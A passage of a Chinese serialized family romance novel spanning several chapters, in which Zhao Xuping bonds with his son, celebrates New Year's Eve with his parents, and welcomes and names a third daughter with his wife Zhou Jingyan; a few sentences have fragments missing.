赵叙平眉心紧锁:“真有这个万一,我就揍死那小兔崽子!敢招惹我闺女,要不要命了?也不打听打听,赵听雨他爹是谁。” 周静烟越发好奇了:“到底什么样的男人,才能让你放心把听雨交给他?” 这话赵叙平听着不对味,仔细思索半晌,他才开口答道:“听雨是她自己的,没有谁把她交给谁这一说。就算以后真要嫁人,那也是她选择一个人来陪伴她走一程而已,我不会把她托付给谁,也希望她对任何人都没有一种托付心态。 “她的人生,她是主角,她做主。” 说完,赵叙平凑到妻子耳边,温柔吻着她耳垂。 周静烟握住他的手,由衷夸道:“作为男人,你的觉悟还是挺高的嘛,思想比我都先进。” 赵叙平用鼻尖碰碰她鼻尖:“因为失去,让我更懂得珍惜。有时候,不是光有爱情,就能顺理成章拥有美好结局。你走以后,我想明白了许多事,总是自我反省,以前哪里不够尊重你,对你不够好,哪里做得太霸道,大男子主义,忽略了你的感受。” 周静烟捧起这张英俊面庞,温柔浅笑:“我没你这么会表达,只是觉得,心里的感受最直观,以前的幸福,是片段式的幸福,即便幸福的时刻,也知道不会幸福太久,像是悬在半空,随时都可能坠落。而现在,我每天都浸泡在幸福的海洋里,被温暖的爱意包裹…… “赵叙平,我再也不怕坠落了。因为我知道,你会永远,永远托着我;爸爸妈妈会永远抓紧我;孩子们会永远抱住我。 “赵叙平,我再也,再也不是一个人了。” 她靠进丈夫怀里,无声落泪。 是幸福的眼泪。 手机在桌上震动,赵叙平拿起她的手机,按下免提。 “静烟,快开窗,看看后院!”里面传来婆婆的声音,周静烟赶忙起身,打开窗户走到露台往下看。 楼下院子里,公公婆婆和两个孩子都在,还多了一个大大的雪人。 章芝纭仰头望见她,招招手:“你俩快下来,咱们拍张照!” 赵叙平牵着妻子下楼。 大雪纷飞,每个人都包裹得严严实实,脖子上围着周静烟织的围巾。 赵天成叫来管家,将相机交给他。 “三——儿——一!好嘞!”管家按下快门。 时隔多年,合照中多了两个小不点儿。 周静烟的手轻轻搭在腹部,笑得最幸福。 第70章 第70章【VIP】 除夕前一天,赵叙平带着妻子和孩子去了趟养老院。 看着原先那位钉子户老太太在养老院开心的笑脸,赵叙平心里总算踏实了。 他依然管老太太叫妈,老太太抱着孩子一顿嘱咐,又拉着他和周静烟的手,让他俩一定要好好过日子,趁彼此还年轻,还活着,得知足,得惜福。 交代完,老太太把手轻轻放在周静烟肚子上,摸了摸,想了想,忽然开口:“是个闺女。” 赵叙平又惊又喜:“您怎么知道?” 老太太指着自己笑道:“你妈我活到这把岁数,见过的孕妇那可数不清,一看一个准!” 赵叙平激动不已,压低声音反复确认:“真是闺女?别是看岔了吧?” 老太太一拍大腿:“怎么会看岔!说是闺女就是闺女,也没多久就生了,到时候叫你心服口服。” 赵叙平眼角笑出细纹来,满脸期待:“托您吉言,我可太希望是个闺女了。” 周静烟听到这话,立马看向儿子,见儿子撇着嘴扭过头去,心知儿子不开心,便冲赵叙平蹙了蹙眉,拿眼剜他。 赵叙平意会,瞥一眼儿子,没再作声。 爷俩出门前还吵了一架。 赵云生说从养老院回来,想去超市买玩具,赵叙平不让,说家里玩具都快堆成山了,也不见他多喜欢玩儿,买回来就放着。赵云生骂这个爹偏心,姐姐的衣服包包玩具也快堆成山了,凭什么只说他,不说姐姐。赵叙平还想争辩,被妻子拦住,冷着脸不许他俩再吵。 赵叙平这句“太希望是个闺女”,加剧了冷战的严重程度,离开养老院,回家途中,赵云生闷闷坐在车上,一声不吭,周静烟试图哄他,叫他好几次,他也不理人。 回到家,周静烟将孩子交给婆婆便跟着赵叙平上楼,进房间后,门一关就开始数落他。 “你也是,父子关系本来就僵,你还要说些伤人心的话激化矛盾,真不知道你怎么想的!” 赵叙平脱掉外套,解开毛衣上的纽扣,为自己辩解:“当时太高兴,没考虑那么多,想什么说什么。而且也不能全赖我吧,赵云生也太小气了,成天跟姐姐比,小子跟丫头那能比么?一个得往糙了养,一个得娇惯着来。” 周静烟替儿子说话:“小孩争宠吃醋很正常的嘛,谁叫你平时就偏心?” 赵叙平:“我小时候怎么不跟伊伊争宠吃醋?爸妈对伊伊可比对我好多了。” 周静烟:“你跟伊伊相差多少岁,云生跟听雨相差多少岁?你大伊伊这么多,好意思争宠吃醋么!” 赵叙平沉默思考片刻,觉得这话有道理,点点头,决定跟儿子服个软:“也是,要不下午我带他出去玩玩儿?” 他能主动退一步,周静烟很高兴,靠在他怀里问:“外头冰天雪地的,能去哪玩儿?” 赵叙平:“商场里呗,玩累了去麦当劳吃一顿,昨儿不是嚷嚷着想吃汉堡么?他爷爷说不健康,不让吃。下午亲爹带他去。” 陪着妻子午休了一会儿,赵叙平下楼找儿子。 赵云生正在客厅搭积木,见他来了,一把推翻所有积木,转身跑开。 “臭小子,回来!”赵叙平叫道。 赵云生跑到奶奶身后,探出脑袋瞧他:“干嘛?” 章芝纭以为他又要揍人,赶紧护着身后的孩子,紧紧蹙眉:“好端端的,凶人家干嘛?” 赵叙平解释道:“我是让他别跑,跟他说个事儿。” 赵云生仍躲在奶奶后面,冷着脸开口:“就这么说吧,省得挨近了你又揍我!” 赵叙平不禁笑了:“今儿你又没犯错,揍你做什么?” “我早上跟你顶嘴了呢……”赵云生声音变小,气势也弱了些许。 赵叙平目光柔和,冲儿子招招手:“来,上爸这儿来,爸跟你聊聊。” 赵云生不敢迈步,仰头看着奶奶。 章芝纭笑道:“没事儿,去吧,奶奶在这儿,他不敢揍你。” 孩子这才走向赵叙平。 赵叙平抱起他,坐到沙发上:“怎么自己玩儿,姐姐呢?” 赵云生:“姐姐在睡午觉,我睡不着。” 赵叙平笑着对母亲说:“云生真像我,我打小就精力旺盛。” 章芝纭点点头:“可不嘛,你俩就是太像了,所以才这么不对付。” 赵叙平扭头,目光落到儿子脸上,看着这个儿童版的自己,唇角微扬:“爸爸认真反思了一下,有时候自己确实有些偏心,所以今天爸爸决定弥补你,单独带你出去玩儿。” 小家伙” “儿童乐园——室内的啊,。咱们去那个最大的,你特喜欢。”赵叙平看向母亲,指着儿子说,蹿下跳,跟猴似的。” 章芝纭乐了:“你小时候不也一样!有回你跟你爸吵架,你爸还管你叫泼猴!” 赵云生立马冲他叫我是猴!” 赵叙平笑着给儿子脑门一个爆栗子:“小王八蛋,我是泼猴,你是什么?” 赵云生也笑了,摸摸自己呀,你刚才不是这么叫吗!” 赵叙平忍不住轻捏儿子脸蛋,瞧他的眼神难得温柔:“臭小子,转眼就快三岁半了。” 章芝纭浅叹一声,感慨:“是啊,时间过得太快,你也一样,不留神就长大了。趁现在孩子还小,多沟通,多交流,等他再大一些,没准儿都不乐意搭理你!” 赵叙平问儿子:“现在是不是就挺不乐意搭理爸爸?” 赵云生先是点头,又摇摇头:“爸爸,你要是表现好,我就搭理你。” 赵叙平屈指刮一下儿子鼻梁:“人小鬼大。下午咱在外面吃,想吃什么?” 赵云生手举得高高的:“炸鸡!汉堡!麦当劳!” 赵叙平笑道:“正准备带你吃这个。” 小家伙叹了口气:“可是爷爷不让……” 赵叙平跟他说起悄悄话:“没事儿,咱偷摸去吃,不让爷爷知道。小时候,你奶奶也经常偷摸带我吃这个。” 小家伙冲父亲露出个大大的笑脸,主动抱住父亲:“谢谢爸爸!” 赵叙平紧紧拥住儿子,内心幸福满溢。 路上,司机在前面开车,赵叙平在后座跟儿子闲聊。 “赵云生,你最喜欢班上哪个姑娘?” “都不喜欢。” “一个都不喜欢?” “不喜欢,我喜欢男孩儿。” 赵叙平吓出一声冷汗:“你喜欢男孩儿?!” 赵云生扭脸,冲着父亲点点头:“对呀,我只喜欢跟男孩子玩儿,小姑娘玩儿的游戏我觉着没劲。” 赵叙平松一口气:“也就是说,你只是喜欢跟男孩子玩儿,不是喜欢男孩儿?” 赵云生:“对,我跟男孩儿比较有共同语言。” 赵叙平:“哟,还知道什么叫共同语言呐!” 赵云生:“跟你就没有共同语言,因为你太老了。” 赵叙平又气又难过,还不能揍他,默默消化着这句话。 难受一小会儿,赵叙平掏出手机,发消息问妻子:【我现在是不是跟个老头一样啊?】 周静烟:【没有啊,瞧着比同龄人还年轻些呢】 赵叙平:【你儿子说我太老了……】 周静烟:【对于他来说,那确实……】 赵叙平:【我俩在去玩儿的路上,唉,单独相处,忍着不揍他,真考验耐力啊!】 周静烟:【别老揍他,揍皮了,以后怎么揍都不顶用了】 赵叙平:【嗯,身体舒服吗?小崽子老不老实?】 很快,妻子发来一个胎动视频。 赵叙平看着肚里的小家伙踹来踹去,心疼不已:【媳妇儿,孩子这么闹你,很难受吧?】 周静烟:【还好,吃得香睡得饱,这个宝宝其实算乖的啦!】 赵叙平:【瞧这踢你的劲头,感觉像个小子……】 周静烟:【小子就小子呗,以后哥哥陪他玩儿,你也不用管了,撒手随他俩闹去】 赵叙平:【那不得把屋顶掀翻啊!】 周静烟:【掀翻就掀翻呗,翻了重盖,也算是给你找活儿了】 赵叙平盯着这话,无奈笑起来,深深叹气:【我这把老骨头,真不知道经得起他俩折腾多久】 在儿童乐园玩到六点,父子俩来到商场一楼的麦当劳,点了份套餐。 赵云生津津有味吃起来,耳边传来父亲的絮叨。 “以后别老打架,咱在家不是学了规矩么,在幼儿园老师也教规矩,咱们得做个文明人,成天打架,那跟猴子有什么区别?” 赵云生装乖点头,左耳进右耳出。 “再说了,打架多难看啊,这么帅一小伙,到处找茬,拳打脚踢的,太不像话了!” 赵云生往嘴里塞一块鸡米花,正要继续点头敷衍他的老父亲,身旁忽然传来一个声音。 “哟,叙平!” 父子俩齐刷刷扭头看去。 一位白发苍苍的老人站在他们桌边,手里拎着打包袋。 愣了片刻,赵叙平认出来了,赶忙起身,捂住老人空着的那只手:“张老师,这么多年没见,您还记得我啊?” 张老师笑容慈祥,看看他,又低头看看赵云生:“你儿子?” 赵叙平:“是,快三岁半了。” 张老师惊讶:“这么高啊!跟你小时候一样,大高个儿,班里就属你最高!” 赵叙平跟孩子介绍:“这是我小学班主任,教我们数学,来,叫张爷爷。” 赵云生礼貌打了声招呼。 张老师点点头,笑着摸摸孩子脑袋:“时间过得太快,想当年,你还那么小,眨眼间就当爸了!这孩子像你,太像你了!” 赵叙平:“是,都这么说。” 张老师:“那股子机灵劲儿,还有眼睛里那种谁也不服的劲头,跟你一模一样。上幼儿园没有?” 赵叙平:“上着呢。” 张老师:“他们老师没少找你吧?” 赵叙平一愣:“您怎么知道?” 张老师:“这孩子没少打架吧?” 赵叙平默默点头。 张老师笑道:“这么像你,还能不打架?你小时候可是跟人打得昏天暗地,在外面揍别人,回家挨你爸揍,那会儿我真是拿你没办法,对你又爱又恨!” 不等他开口,张老师看看手表,拍了拍他的肩:“先走了,孙子还在家等着吃呢,回见!” “回见,张老师慢走!”赵叙平挥挥手,目送老师离开,转过脸便对上儿子的目光。 赵云生瞪大眼睛瞧着他:“爸爸,你小时候这么——” 赵叙平端起自己那杯可乐,碰碰他的可乐,轻咳一声:“那什么,干了,尽在不言中。” 第 71 章【VIP】 第71章 第71章【VIP】 赵云生耳根子终于清净了。 他虽然年纪小,可也知道父亲被老师揭了短,面上有些过不去,所以才闭嘴没再絮叨。 高高兴兴吃完这顿快餐,赵云生跟着父亲去洗手,回到车上,百无聊赖,他开始使坏。 “爸爸,张爷爷说的是真的吗?”赵云生目光紧紧盯着父亲。 赵叙平扭过脸,看向窗外,含糊不清“嗯”一声。 赵云生撵着问:“是不是真的啊?” 赵叙平倏地转回脸,语气不耐:“真的,全是真的,满意了吗?” 赵叙平笑得很满意,又故意问:“那你还说打架不好看,咱们得做文明人。” 赵叙平:“我后来不是挺文明么?也不打架了。” 赵云生:“等我长大了,我也不打。现在还小,你就别管我了。” 赵叙平神情颇为无奈,浅浅叹一口气:“我要是不管你,就你这性子,能不能长大还两说。不知道天高地厚的东西。” 赵云生不懂,眨着大眼睛问:“为什么不能长大?” 赵叙平:“我小时候,那是运气好,大半个京州的学校,没有我揍不明白的人。而且那会儿大家都比较讲义气,揍人有揍人的规矩。现在可不一样,疯子越来越多,真遇上个不要命的,把你攮死怎么办?咱家就是再有钱,关系再硬,救得了死人?” 他摸着儿子脑袋上短短的头发茬,看着这张跟自己极度相似的匪气横生的面庞,不禁笑了,屈指轻蹭这张小脸:“能不能让我省省心啊。” 赵云生躲开父亲的手,扭头望窗外:“爷爷说你长大了还不让人省心呢,凭什么说我!” 父子俩每每多交流几句,就开始不对付,赵叙平沉默一小会儿,换了个话题:“长大以后只想做生意?” 这个话题赵云生感兴趣,又把脸转回来,对父亲认真点头。 赵叙平:“不想干别的?比如,当个医生,或者律师?” “不想。”赵云生忽然好奇,“爸爸,你小时候有什么理想?” 赵叙平笑道:“那当然是赚大钱。” 赵云生:“又学我!” 赵叙平戳戳他脑门儿:“臭小子,你学我才对,打架学我,志向也跟我差不多。” 赵云生望着窗外街景,小小的脑袋如何聪明,也想象不出自己认知外的事情,只能问父亲:“当大老板什么感觉啊?” 赵叙平靠着椅背,抬手搂住儿子肩,不由长叹。 “感觉很复杂。最直观的感觉就是:一个字儿——累。不过我觉着咱爷俩天生就是当老板的命。” “为什么?” “因为咱俩精力旺盛!以前上学,别人做几套卷子就累得半死不活,我吭哧吭哧写完,还能上操场跑十公里,跑完又去跟你江叔一起揍人——咳,这不对啊,不许学我。” “爸爸,你是不是不容易觉得累?” “是,比普通人扛造。所以你想,爸爸当老板都觉得累,那说明这个活儿是真累人,你想好了,真要当老板?” “要!我不怕累,我就喜欢赚大钱和管人!” 赵叙平笑孩子天真:“累就累在管人。买卖做得大,管的人就多,人一多,就不好管。” 赵云生眨眨眼,求教:“那你是怎么管的?” 赵叙平:“学呗,管人的学问可大着呢,三言两语说不明白。” 他想起自己刚创业那会儿,父亲手把手教过他不少东西。 赵云生皱起小眉头,目光困惑:“可是我觉得你管人也不厉害呀,家里谁都不听你的,你谁都管不了!” “我——”赵叙平一时语塞,无言以对,叹息着摇头。 沉默片刻,他问:“你觉得咱家谁管人最厉害?” 赵云生扬起脑袋,自豪答道:“当然是妈妈!你们都听妈妈的话,我也最听妈妈的话!” 赵叙平剑眉微扬,点了点头表示赞同:“那是,你妈妈可是咱家的宝贝。” 赵云生忽然想了解父母爱情:“爸爸,你跟妈妈怎么认识的呀?” 提起妻子,赵叙平眉眼浮现笑意:“我俩打小就认识。” 赵云生:“你们是不是很小就开始谈恋爱?” 赵叙平乐坏了,弹他一个脑瓜崩:“知道什么叫谈恋爱么?” 赵云生:“电视剧演过!男人和女人亲嘴儿!” 赵叙平赶忙捂住这张小嘴,哭笑不得:“什么恋爱,更没亲嘴儿!” 赵云生笑嘻嘻缩起脖子,躲开父亲的手:“你俩长大后谈的?那天我看见你俩亲嘴儿了!亲得可大声了!” ,噗嗤笑一声。 ,还没开口,自己也乐出声。 ,右边看一看,提起一口气,哑然什么也说不出,只能摇着头憋笑。 回家后赵叙平将儿子交给父母,自己上楼找媳妇儿。 见着周静烟,赵叙平立马告诉她儿子在车上说的那些话,羞得周静烟直捶他。 “平时总让你避着点儿人避着点儿人,就不听,现在好了,叫孩子看去,丢死人了!” 周静烟哪有他面皮厚,这会脸红到脖子根,耳朵也烫得快冒烟。 赵叙平想起司机听到那话都笑了,多少还是有些害羞,紧抿着薄唇,眼里笑意止不住。 周静烟抬手,巴掌朝他脸上拍去:“以后可得注意了,听到没有?” 他不当回事:“咱是正经夫妻,亲个嘴儿怎么了,又没做什么过火的。过火的我还生怕他们看着呢。” 周静烟跺跺脚:“都怪你,云生见着这个,都学坏了!三岁多就知道什么谈恋爱,什么亲嘴儿!” 赵叙平:“他那是跟电视里学的,你该劝劝我妈,别总带着看什么爱情剧。” 周静烟:“那你以后也得避着点儿人,别由着性子胡来……” 赵叙平坏笑,搂着她,手不老实:“怎么胡来?说说看,我怎么胡来的?” 周静烟一把打在他手上:“不行!现在危险着呢,得生完坐完月子才——” “知道,我就抱抱。” “你这是 “抱吗?”周静烟急得说不清话,“你、你分明就是——” “就是什么?” “不理你了!” “别啊,亲会儿。” “锁门没有?” “关上了。” “得反锁!不锁不给亲!” “没事儿,没人敢进来。” “不行!你儿子就敢!万一又让他瞧见,到处乱说,我可真是没脸见人了!” …… 除夕,女人们围着包饺子。 章芝纭原本不让周静烟参与,奈何她闲得无聊,非要帮忙,章芝纭只好由着她,再三嘱咐,累了赶紧回去躺躺。 周静烟成天闲着,哪里会觉得累,包起饺子才好玩,跟大家说说笑笑,时间就这么打发掉了。 起先赵叙平和父亲也帮着包了几个,章芝纭嫌他俩包得太丑,撵他俩走,赵天成便去楼上书房,赵叙平也跟了过去。 “昨晚云生告诉我,跟你玩儿得很开心。”赵天成坐在书桌前,笑眯眯开口。 赵叙平难得见父亲对自己笑,听到这话,发自内心感到高兴:“我俩少有这么和谐的时候,昨天他挺乖,出去都没跟我吵。” 赵天成默默看他一会儿,感慨:“其实现在你跟云生,就像以前我跟你似的。云生像你,你像我。” 赵叙平:“爸,昨儿我见着张老师了,小学班主任,您还记得吗?” 赵天成微微惊讶:“这么巧?好些年没见了吧!哪能不记得张老师,你小学那会儿,他对你最上心,拿你没招,只能找我,我呢,拿你也没招,又不懂什么教育方法,就知道揍。” 说到这,赵天成摇了摇头,轻声叹息:“后来我也自我反省,不该总是揍你。唉,那会儿是真没办法了,你狂得不知天高地厚。你不知道,我们那个年代,京州死了多少到处茬架的年轻人。你跟东铭成天招惹是非,我跟你江叔那个急啊,就怕哪天你俩被人抄家伙弄死。” 赵叙平回想起自己在车里告诉儿子的话,眼眶一热,低声开口:“我也是这么跟云生说的。” 赵天成笑笑:“自个儿当了爹,总算明白我的苦心了?” 赵叙平有些不好意思,垂眸盯着地面:“爸,我小时候要是不打架,您是不是还挺喜欢我的?” 赵天成乐了:“废话,自个儿儿子,能不喜欢?你现在对云生什么样,我以前对你就什么样,爱之深责之切。不过你还是比我强,我不懂怎么跟孩子沟通,只会揍,你的教育方式可比我科学多了。” 被父亲这么一夸,赵叙平忽然感觉,自己像是回到小时候,开心得跟个孩子似的。 “也没比您强多少,还是有很大进步空间。” “哟,还谦虚上了!”赵天成笑道,“这可不像你。” 赵叙平看着父亲花白的头发和脸上的皱纹,忽地鼻酸,低头片刻,抬脸望向父亲,哽咽:“爸,我会和静烟好好的,以后再也不让您操心了。” 赵天成目光落到他脸上,愣愣看了他好一会儿,点头,热泪盈眶:“咱们一家都好好的。你陪孩子一起成长,爸爸陪你一起成长。” 第 72 章【VIP】 第72章 第72章【VIP】 除夕夜,赵家一家六口和留在这儿过年的两个保姆阿姨一起吃了顿热热闹闹的团圆饭。 氛围太温馨,周静烟不想扫兴,没怎么管着赵叙平,允许他跟父母小酌几杯。 饭后家里人看了会儿春晚,孩子们觉得没意思,跑来跑去玩游戏。赵叙平边看晚会边点评——这个女歌星不如周静烟好看,那个女演员没周静烟有气质…… 周静烟都快没脸听了,捂着面庞娇嗔:“你是说真的,还是在挤兑我呀!” 赵叙平揽住她肩头,扭头冲她笑:“一些掏心窝子的赞美。” 周静烟乐出声,一巴掌拍在他脸上:“什么赞美,你这纯属马屁!” 赵叙平:“你要是不喜欢,还能笑得这么开心?” 周静烟:“我那是害羞!” 一旁,章芝纭和赵天成憋着乐。 章芝纭目光在他俩身上来回转,故意摆出一副无奈面孔,摇头叹息:“你俩还是回屋吧,屋里没别人,尽情腻歪。” 被婆婆这么调侃,周静烟更是羞得厉害,捂在脸上的双手不肯撒开。 赵叙平偏要使坏,扯开她的手,冲母亲扬了扬下巴:“媳妇儿,妈让咱们回屋腻歪。” 周静烟闭着眼捶他:“哎呀,你闭嘴!” 他当着父母面搂起媳妇儿,薄唇凑到她耳边,似乎要说悄悄话,一开口,声音却不小:“咱们就不上去,就要在这儿恶心他俩。” 周静烟和婆婆同时笑出声。 周静烟扭头看向婆婆:“妈,您管管他!” 章芝纭伸手过去拍儿子胳膊,板起脸教训:“没个正型儿!” “正型儿没有,脸也不要,诶——”赵叙平在周静烟脸颊上亲了亲,“我就一混不吝,怎么着吧!” 逗得章芝纭和赵天成哈哈大笑。 周静烟实在没脸在客厅待下去,起身飞快说道:“爸,妈,我先回屋了,你们也早些休息。” 她迈步走开,赵叙平赶忙追过去搀扶:“慢点儿,祖宗!挺着个大肚子别走这么快!” 进了电梯周静烟才敢瞧他,这会脸已经通红,蹙眉羞答答瞪他,啐一口:“脸都被你丢尽了!” 赵叙平一本正经建议道:“改变别人不如改变自己,要不这样吧,媳妇儿,打今儿起,你要向我学习——学习我的厚脸皮。” 电梯停下,周静烟忍着笑往外走:“跟你在一起,我都不知道丢了多少回脸了,历练这么多次,脸皮倒是比以前厚不少。” 进了房间赵叙平关上门,抱住她:“丢脸?跟着哥哥,那是长脸好么!出去谁不恭恭敬敬叫你一声嫂子,一声赵太太?” 周静烟抬手搂着他紧实的劲腰,笑如春风:“托你的福,人家对我毕恭毕敬,我自然高兴,可你也不能在哪儿都由着性子胡闹呀!当着家里人的面亲我就算了,在外面也亲来亲去,还不许我躲!” 赵叙平的唇在她脸上轻轻蹭,唇角扬起弧度,笑意漾开到整张脸上,目光柔情似火:“谁叫我媳妇儿貌美如花,招人疼?” 周静烟当他是在奉承,看着他认真问:“你老实说,我到底算不算好看?不许撒谎。” 赵叙平想都没想:“你这都不叫好看,我真不知道什么才算好看。” 周静烟:“可是我觉得自己五官哪哪都一般,不算很难看,也不算很好看,中不溜秋的。” 赵叙平笑道:“组合在一块儿,就成了顶好看,顶顶好看。” 虽说这话很有可能也是奉承,但周静烟听了,还是心花怒放,娇羞低头,靠着他肩膀,握着他的手,轻轻抚上肚子。 “我还是希望这个孩子更像你。听雨和云生就跟你一个模子刻出来似的,好看得要命。” 赵叙平吻吻她颈窝:“你也好看得要命,要我命。” 周静烟笑着骂他贫,闭眼沉浸在此刻的幸福中。 四月十七日,赵家迎来了那个期盼已久的新生命。 周静烟整个孕期都没去查过是男是女,就为了保留一份惊喜。孩子出生后,听见医生那句“是个丫头”,她悄悄松了口气。 其实她也盼着再多个女儿。 家里真要有俩儿子,成天打来打去,恐怕难得再有安生日子。 赵叙平从护士手里接过襁褓中的新生儿,目光紧盯着自己这个小闺女,脸都快笑烂了。 再是不舍,,便将孩子递给母亲,俯身去安抚周静烟。 “辛苦了,宝宝,害你手,吻了吻她手背,眼眶红得厉害,眼里蓄满了泪。 ,这会儿身体确实虚弱,心里却实在高兴,摇摇头,小声说:“其实还好,打 凉的唇,满眼心疼:“先好好休息,我陪着你。” 公公婆婆也跟她说了几句贴心话,怕影响她恢复,带着孩子去了隔壁房间。 周静烟在*私人医院生产,住的是VIP套房,赵叙平在病房陪她,公婆和月嫂在另一间房带宝宝。医院食堂提供上门送餐服务,赵叙平怕她吃不惯,特意让家里保姆做好了,派司机送过来。 住院观察三天,周静烟和孩子都无异常,可以回家,赵叙平想送她俩去月子中心,周静烟不愿意,说是在外面不如在家里待得安心。章芝纭也劝道:“咱家不缺保姆,又请了月嫂,还是俩月嫂,怎么都比外头伺候得周到,何必把她们娘俩放外头?” 赵叙平听了劝,接她们娘俩回来,告诉两个月嫂,每周自己会陪孩子睡两天。 周静烟笑道:“你工作那么忙那么累,回来还要照顾我,没必要非得受这个罪,吴姐和孙姐轮流上夜班陪孩子就行。” 赵叙平摇头:“这是父亲该做的,有些事儿能省,有些事儿必须亲力亲为。我还没有半夜给孩子冲奶粉换尿片的经历呢,以前总听江东铭抱怨,现在有机会试试,倒是想看看有多难。” 他从保姆怀里接过孩子,满怀爱意看着小闺女,扬起的嘴角就没下来过。 “咱家小宝可真漂亮。”赵叙平盯着小闺女看了又看,舍不得挪眼,不住地夸赞。 这孩子眉眼像他,周静烟心里踏实了,想着以后肯定是个大美女,不过这会儿看着,倒也没他夸得那么好看,笑道:“新生儿脸都皱皱的,要过些日子才算得上漂亮呢。” 赵叙平合不拢嘴:“我闺女,脸上皱巴巴也漂亮,多粉嫩啊,还奶香奶香的。” 周静烟瞧他这副模样,扭头对婆婆说:“妈,这人活脱脱一个女儿奴!” 章芝纭在她耳边轻声笑道:“你且等着,看听雨回来吃不吃醋!” 姜还是老的辣,章芝纭未卜先知,这天孩子们放学回家,赵听雨见父亲抱着妹妹不撒手,冷着小脸独自跑回房间,要不是章芝纭提醒,赵叙平还没发现。 “你快去哄哄老大,这会儿准在屋里哭呢。”章芝纭从他怀里抱走老三,一个劲给他使眼色。 她说得小声,还是叫赵云生听见了,赵云生乐得拍手:“哈哈,姐姐失宠啦!姐姐躲屋里哭鼻子咯!” 赵叙平板着脸给儿子一个脑瓜崩:“不许挑事儿。” 他疾步走进老大房间,见老大趴在床上,头埋进枕头里,肩膀起伏耸动。 抽泣声传来,赵叙平听得心疼,赶紧来到床边,将老大抱到自己腿上坐着,捧着她的脸,轻轻替她擦泪。 “怎么了,宝贝儿?”他柔声问。 赵听雨扑进父亲怀里,哭得抽抽:“爸爸只爱妹妹,爸爸不爱我了!” 赵叙平哭笑不得:“谁说的?妹妹那么小,正是需要爸爸照顾的时候,爸爸照顾她,不代表就不爱你。” 赵听雨:“可是爸爸一直在抱妹妹,以前我回来,爸爸都要先抱抱我,今天你只抱妹妹,呜呜呜偏心!” 赵叙平见她眼睛都哭肿了,心疼得厉害,紧紧抱住她,温柔哄起来:“爸爸错了,爸爸照顾妹妹照顾得太认真,不小心忘了抱你,真是不应该。听雨,你是爸爸第一个女儿,爸爸怎么可能不爱你?以后只要你回来,爸爸一定抱抱你,还得亲亲你,爸爸说到做到。” 赵听雨吸吸鼻子,抬手伸出小指:“拉钩……” 赵叙平跟女儿拉了勾,盖了章,用纸巾擦干女儿脸上的泪痕,吻了吻她的小脸蛋。 “乖,不哭了,咱们下楼去叫弟弟,然后一起带着妹妹去看妈妈。” 赵听雨牵着父亲的手,来到客厅,见他俩出来,赵云生做了个鬼脸,赵叙平知道这小子还想挑事儿,沉着脸瞪他,他撇撇嘴,安静下来。 “听雨,云生,咱们带妹妹去找妈妈。”赵叙平抱起老三,让姐弟俩走前头。 这会儿周静烟刚睡醒,见他们四个进来,起身坐着,后背靠着床头,笑眯眯望向他们。 她想起婆婆说过的话,怕伤了大女儿的心,冲赵听雨拍拍手:“宝贝儿,来,妈妈抱抱。” 赵听雨爬到床上,知道母亲在坐月子,身子虚弱,不敢用力,轻轻抱住母亲。 赵云生也爬到母亲身边,跟姐姐一左一右,抱着母亲。 赵叙平站在床前,笑着打趣:“怎么办,老大老二把位置占了,老三抱哪儿?” 赵听雨忽然摆出一副小大人的样子,张开双臂:“来吧,姐姐抱。” 周静烟忍俊不禁:“还挺有长姐样呢。” 赵叙平笑着夸道:“那是,咱家听雨天生会当姐姐,你看把弟弟带得多好。不过妹妹还太小,你也小,等你俩都长大些,再让你抱妹妹。” 小家伙听到父母夸赞,自豪地扬起脑袋,冲弟弟轻哼一声。 赵云生不服气,也哼一声,转脸看向父亲怀中的妹妹,收起平日里那股子淘气劲儿,认真看着这个比自己还小的小不点儿,伸出手指,轻轻戳了戳小不点儿的脸。 “嘿,小东西,我是你哥,以后可得听我的。” 赵叙平皱着眉纠正:“什么‘小东西’,这是你妹!” 赵云生:“她这么小,叫‘小东西’也没错啊!” 赵叙平:“再小她也是个人,怎么能叫东西?我告诉你赵云生,以后得护着妹妹,不许欺负妹妹,听到没有?” 赵云生:“听——到——啦!真唠叨!” 听着父子俩吵来吵去,周静烟只觉得好笑,幸福的目光扫过每一张面孔,最后停在丈夫怀里的孩子脸上。 “你们说,妹妹叫什么名字好?”她问。 赵听雨歪起脑袋认真思考。 赵云生也安静了,看着妹妹,灵光一闪:“要不就叫赵老三吧!” 赵叙平噗嗤笑出声,周静烟轻轻敲了敲儿子额头,看向赵叙平:“你俩可真是亲生父子,出的馊点子都一模一样!” 赵叙平笑了好一会儿,忽然静下来,认真说道:“老大老二有‘雨’有‘云’,老三就有‘月’吧,赵月舒,怎么样?” 周静烟杏眼亮晶晶,笑得很满意:“好听!” 赵听雨凑近妹妹,轻声叫起来:“月舒,赵月舒。” 赵云生也跟着凑热闹:“好吧,你不叫小东西,你叫赵——月——舒!” 夜深人静,周静烟靠在丈夫怀里。 “赵叙平,”她睡不着,轻声唤道。 丈夫也没睡着,吻了吻她脸颊:“嗯?” 黑暗中,周静烟闭上双眼,幸福开口:“我好喜欢赵月舒这个名字哦。” 赵叙平浅笑,轻拍着妻子后背,渐渐将她哄睡着。 等到耳边传来匀净的呼吸声,确定妻子已经入睡,他才悄声下床,拉开窗帘,望着窗外那轮明月。 曾经遥不可及的幸福,如今就在每一个当下。 他也很喜欢赵月舒这个名字。 烟雨叙平生,月来终舒意。 【终章】 第73章 第73章【VIP】 将周静烟母女接回家的第三天,赵叙平推了应酬,早早下班,赶回来照顾老婆孩子,晚上单独带着小女儿睡。 他虽然不是头一次当爹,却是头一次带婴儿睡觉,兴奋又紧张,孩子放下就醒,只能抱着,他就这么抱着闺女在卧室里来回踱步,一边走,一边轻轻哼着歌谣哄她入睡。 见闺女缓缓闭上眼睛,赵叙平也缓缓将她放在婴儿床上,可她刚一沾床就开始哭,他赶忙抱起来,继续边走边哼——循环往复好几回,折腾得他近乎崩溃。 凌晨一点半,赵叙平生无可恋看着怀里泪汪汪的闺女,唉声叹气,求道:“祖宗啊,喝也喝了,拉也拉了,快睡吧,我求求您了……” 闺女听完立马撇嘴,赵叙平见势不对,赶紧迈开步子,他走动起来,闺女才收住哭声。 赵叙平就这么走啊走,走啊走,走到了两点,终于,闺女熬不住了,在他怀中熟睡。 赵叙平将孩子放婴儿床上,动作又轻又缓,撒手后,双手合十暗暗祈祷:别醒别醒别醒别醒…… 他闭着眼,心里反复念叨这俩字儿,过了一小会儿,没听见哭声,这才敢睁眼,看见孩子正睡得香,仰头长舒一口气,抹抹额头上的冷汗,站在婴儿床前,盯着这个磨人的小家伙看了又看。 小闺女模样俊,跟哥哥姐姐一样,更像他一些,他瞧着这个奶娃娃,又爱又无奈,不禁担忧起来——这么小就这么磨人,以后还得了? 